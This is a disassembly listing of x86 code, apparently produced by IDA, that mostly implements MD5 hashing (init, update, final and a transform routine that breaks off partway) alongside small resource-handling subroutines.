		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43363C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4335D4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D4:				; CODE XREF: sub_4335B0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4335ED
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335ED:				; CODE XREF: sub_4335B0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4335FD
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335FD:				; CODE XREF: sub_4335B0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 2ED2A3E8h, 0C0859002h, 0E8560E74h, 0FFFCE181h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43363C:				; CODE XREF: sub_4335B0+12j
		pop	esi
		retn
sub_4335B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433670	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433695
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433695:				; CODE XREF: sub_433670+15j
		nop
		call	near ptr 2720568h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4336BE
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336BE:				; CODE XREF: sub_433670+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4336DB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336DB:				; CODE XREF: sub_433670+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433710	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_4337A0
		cmp	[ebx+0Ch], ebp
		jz	short loc_43377C
		cmp	[ebx+4], ebp
		jz	short loc_43377C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43377C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_43376F
		push	edi


loc_433743:				; CODE XREF: sub_433710+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43376A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_43376A:				; CODE XREF: sub_433710+3Ej
		cmp	esi, ebp
		jnz	short loc_433743
		pop	edi


loc_43376F:				; CODE XREF: sub_433710+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43377C:				; CODE XREF: sub_433710+13j
					; sub_433710+18j ...
		mov	eax, [ebx]
		push	eax
		call	near ptr 2720000h
		nop
		cmp	[ebx+4], ebp
		jz	short loc_433796
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433796:				; CODE XREF: sub_433710+78j
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4337A0:				; CODE XREF: sub_433710+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_433710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4337E0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E3E8
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_433804
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433813
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433804:				; CODE XREF: sub_4337E0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_433813
		mov	eax, ebx


loc_433813:				; CODE XREF: sub_4337E0+1Aj
					; sub_4337E0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433875
		test	eax, eax
		jz	short loc_433862
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_433862
		test	ebx, ebx
		jz	short loc_433862
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_43384D


loc_433837:				; CODE XREF: sub_4337E0+65j
		cmp	[ecx+8], esi
		jz	short loc_433849
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_433837
		jmp	short loc_43384D
; ---------------------------------------------------------------------------


loc_433849:				; CODE XREF: sub_4337E0+5Aj
		test	ecx, ecx
		jnz	short loc_433862


loc_43384D:				; CODE XREF: sub_4337E0+55j
					; sub_4337E0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433875


loc_433862:				; CODE XREF: sub_4337E0+3Cj
					; sub_4337E0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_433875
		mov	edi, 0Bh


loc_433875:				; CODE XREF: sub_4337E0+38j
					; sub_4337E0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4337E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4338B0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27A08E7h
		mov	esi, eax
		call	sub_436F5A
sub_4338B0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0E0E89051h, 56022DD1h, 0E890D88Bh
		dd 22DD3CDh, 36C4E857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433900	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_433900	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433940	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_43396B
		inc	dword ptr [esi+14h]


loc_43396B:				; CODE XREF: sub_433940+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_4339C9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_434740
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433AB0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_4339C5


loc_4339A9:				; CODE XREF: sub_433940+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433AB0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_4339A9


loc_4339C5:				; CODE XREF: sub_433940+67j
		xor	eax, eax
		jmp	short loc_4339CB
; ---------------------------------------------------------------------------


loc_4339C9:				; CODE XREF: sub_433940+41j
		xor	ebp, ebp


loc_4339CB:				; CODE XREF: sub_433940+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_434740
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_433940	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433A20	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_434660
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433A53
		mov	ecx, 78h


loc_433A53:				; CODE XREF: sub_433A20+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_434660
		push	58h
		push	0
		push	edi
		call	sub_434770
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AB0	proc near		; CODE XREF: sub_433940+58p
					; sub_433940+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4346D0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
